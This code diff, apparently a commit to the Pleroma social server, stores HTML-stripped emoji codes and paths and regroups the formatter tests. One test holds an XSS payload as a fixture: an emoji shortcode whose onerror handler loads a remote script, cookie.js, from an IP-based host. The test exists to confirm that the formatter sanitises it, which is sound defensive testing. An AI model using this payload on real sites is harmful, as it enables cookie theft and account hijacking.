added code\path fields without html tags in ets

lib/pleroma/emoji/loader.ex

@@ -78,7 +78,17 @@ def load do
          load_from_globs(shortcode_globs, emoji_groups))
       |> Enum.reject(fn value -> value == nil end)
 
-    emojis ++ emojis_txt
+    Enum.map(emojis ++ emojis_txt, &prepare_emoji/1)
+  end
+
+  defp prepare_emoji({code, file, tags} = _emoji) do
+    {
+      code,
+      file,
+      tags,
+      Pleroma.HTML.strip_tags(code),
+      Pleroma.HTML.strip_tags(file)
+    }
   end
 
   defp load_pack(pack_dir, emoji_groups) do

lib/pleroma/formatter.ex

@@ -107,19 +107,22 @@ def emojify(text) do
   def emojify(text, nil), do: text
 
   def emojify(text, emoji, strip \\ false) do
-    Enum.reduce(emoji, text, fn emoji_data, text ->
+    Enum.reduce(emoji, text, fn
-      emoji = HTML.strip_tags(elem(emoji_data, 0))
+      {_, _, _, emoji, file}, text ->
-      file = HTML.strip_tags(elem(emoji_data, 1))
+        String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip))
 
-      html =
+      emoji_data, text ->
-        if not strip do
+        emoji = HTML.strip_tags(elem(emoji_data, 0))
-          "<img class='emoji' alt='#{emoji}' title='#{emoji}' src='#{MediaProxy.url(file)}' />"
+        file = HTML.strip_tags(elem(emoji_data, 1))
-        else
+        String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip))
-          ""
-        end
-
-      String.replace(text, ":#{emoji}:", html) |> HTML.filter_tags()
     end)
+    |> HTML.filter_tags()
+  end
+
+  defp prepare_emoji_html(_emoji, _file, true), do: ""
+
+  defp prepare_emoji_html(emoji, file, _strip) do
+    "<img class='emoji' alt='#{emoji}' title='#{emoji}' src='#{MediaProxy.url(file)}' />"
   end
 
   def demojify(text) do
@@ -130,7 +133,9 @@ def demojify(text, nil), do: text
 
   @doc "Outputs a list of the emoji-shortcodes in a text"
   def get_emoji(text) when is_binary(text) do
-    Enum.filter(Emoji.get_all(), fn {emoji, _, _} -> String.contains?(text, ":#{emoji}:") end)
+    Enum.filter(Emoji.get_all(), fn {emoji, _, _, _, _} ->
+      String.contains?(text, ":#{emoji}:")
+    end)
   end
 
   def get_emoji(_), do: []
@@ -138,7 +143,7 @@ def get_emoji(_), do: []
   @doc "Outputs a list of the emoji-Maps in a text"
   def get_emoji_map(text) when is_binary(text) do
     get_emoji(text)
-    |> Enum.reduce(%{}, fn {name, file, _group}, acc ->
+    |> Enum.reduce(%{}, fn {name, file, _group, _, _}, acc ->
       Map.put(acc, name, "#{Pleroma.Web.Endpoint.static_url()}#{file}")
     end)
   end

lib/pleroma/web/common_api/utils.ex

@@ -435,7 +435,7 @@ def confirm_current_password(user, password) do
 
   def emoji_from_profile(%{info: _info} = user) do
     (Formatter.get_emoji(user.bio) ++ Formatter.get_emoji(user.name))
-    |> Enum.map(fn {shortcode, url, _} ->
+    |> Enum.map(fn {shortcode, url, _, _, _} ->
       %{
         "type" => "Emoji",
         "icon" => %{"type" => "Image", "url" => "#{Endpoint.url()}#{url}"},

lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex

@@ -331,7 +331,7 @@ def peers(conn, _params) do
 
   defp mastodonized_emoji do
     Pleroma.Emoji.get_all()
-    |> Enum.map(fn {shortcode, relative_url, tags} ->
+    |> Enum.map(fn {shortcode, relative_url, tags, _, _} ->
       url = to_string(URI.merge(Web.base_url(), relative_url))
 
       %{

lib/pleroma/web/twitter_api/controllers/util_controller.ex

@@ -240,7 +240,7 @@ def version(conn, _params) do
   def emoji(conn, _params) do
     emoji =
       Emoji.get_all()
-      |> Enum.map(fn {short_code, path, tags} ->
+      |> Enum.map(fn {short_code, path, tags, _, _} ->
         {short_code, %{image_url: path, tags: tags}}
       end)
       |> Enum.into(%{})

test/emoji_test.exs

@@ -14,9 +14,9 @@ defmodule Pleroma.EmojiTest do
 
     test "first emoji", %{emoji_list: emoji_list} do
       [emoji | _others] = emoji_list
-      {code, path, tags} = emoji
+      {code, path, tags, _, _} = emoji
 
-      assert tuple_size(emoji) == 3
+      assert tuple_size(emoji) == 5
       assert is_binary(code)
       assert is_binary(path)
       assert is_list(tags)
@@ -24,9 +24,9 @@ test "first emoji", %{emoji_list: emoji_list} do
 
     test "random emoji", %{emoji_list: emoji_list} do
       emoji = Enum.random(emoji_list)
-      {code, path, tags} = emoji
+      {code, path, tags, _, _} = emoji
 
-      assert tuple_size(emoji) == 3
+      assert tuple_size(emoji) == 5
       assert is_binary(code)
       assert is_binary(path)
       assert is_list(tags)

test/formatter_test.exs

@@ -217,6 +217,27 @@ test "given the 'safe_mention' option, it will keep text after newlines" do
 
       assert expected_text =~ "how are you doing?"
     end
+
+    test "it can parse mentions and return the relevant users" do
+      text =
+        "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"
+
+      o = insert(:user, %{nickname: "o"})
+      jimm = insert(:user, %{nickname: "jimm"})
+      gsimg = insert(:user, %{nickname: "gsimg"})
+      archaeme = insert(:user, %{nickname: "archaeme"})
+      archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
+
+      expected_mentions = [
+        {"@archaeme", archaeme},
+        {"@archaeme@archae.me", archaeme_remote},
+        {"@gsimg", gsimg},
+        {"@jimm", jimm},
+        {"@o", o}
+      ]
+
+      assert {_text, ^expected_mentions, []} = Formatter.linkify(text)
+    end
   end
 
   describe ".parse_tags" do
@@ -234,67 +255,50 @@ test "parses tags in the text" do
     end
   end
 
-  test "it can parse mentions and return the relevant users" do
+  describe "emojify" do
-    text =
+    test "it adds cool emoji" do
-      "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"
+      text = "I love :firefox:"
 
-    o = insert(:user, %{nickname: "o"})
+      expected_result =
-    jimm = insert(:user, %{nickname: "jimm"})
+        "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />"
-    gsimg = insert(:user, %{nickname: "gsimg"})
-    archaeme = insert(:user, %{nickname: "archaeme"})
-    archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
 
-    expected_mentions = [
+      assert Formatter.emojify(text) == expected_result
-      {"@archaeme", archaeme},
+    end
-      {"@archaeme@archae.me", archaeme_remote},
-      {"@gsimg", gsimg},
-      {"@jimm", jimm},
-      {"@o", o}
-    ]
 
-    assert {_text, ^expected_mentions, []} = Formatter.linkify(text)
+    test "it does not add XSS emoji" do
+      text =
+        "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
+
+      custom_emoji = %{
+        "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
+          "https://placehold.it/1x1"
+      }
+
+      expected_result =
+        "I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
+
+      assert Formatter.emojify(text, custom_emoji) == expected_result
+    end
   end
 
-  test "it adds cool emoji" do
+  describe "get_emoji" do
-    text = "I love :firefox:"
+    test "it returns the emoji used in the text" do
+      text = "I love :firefox:"
 
-    expected_result =
+      assert Formatter.get_emoji(text) == [
-      "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />"
+               {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"], "firefox", "/emoji/Firefox.gif"}
+             ]
+    end
 
-    assert Formatter.emojify(text) == expected_result
+    test "it returns a nice empty result when no emojis are present" do
-  end
+      text = "I love moominamma"
+      assert Formatter.get_emoji(text) == []
+    end
 
-  test "it does not add XSS emoji" do
+    test "it doesn't die when text is absent" do
-    text =
+      text = nil
-      "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
+      assert Formatter.get_emoji(text) == []
-
+    end
-    custom_emoji = %{
-      "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
-        "https://placehold.it/1x1"
-    }
-
-    expected_result =
-      "I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
-
-    assert Formatter.emojify(text, custom_emoji) == expected_result
-  end
-
-  test "it returns the emoji used in the text" do
-    text = "I love :firefox:"
-
-    assert Formatter.get_emoji(text) == [
-             {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"]}
-           ]
-  end
-
-  test "it returns a nice empty result when no emojis are present" do
-    text = "I love moominamma"
-    assert Formatter.get_emoji(text) == []
-  end
-
-  test "it doesn't die when text is absent" do
-    text = nil
-    assert Formatter.get_emoji(text) == []
   end
 
   test "it escapes HTML in plain text" do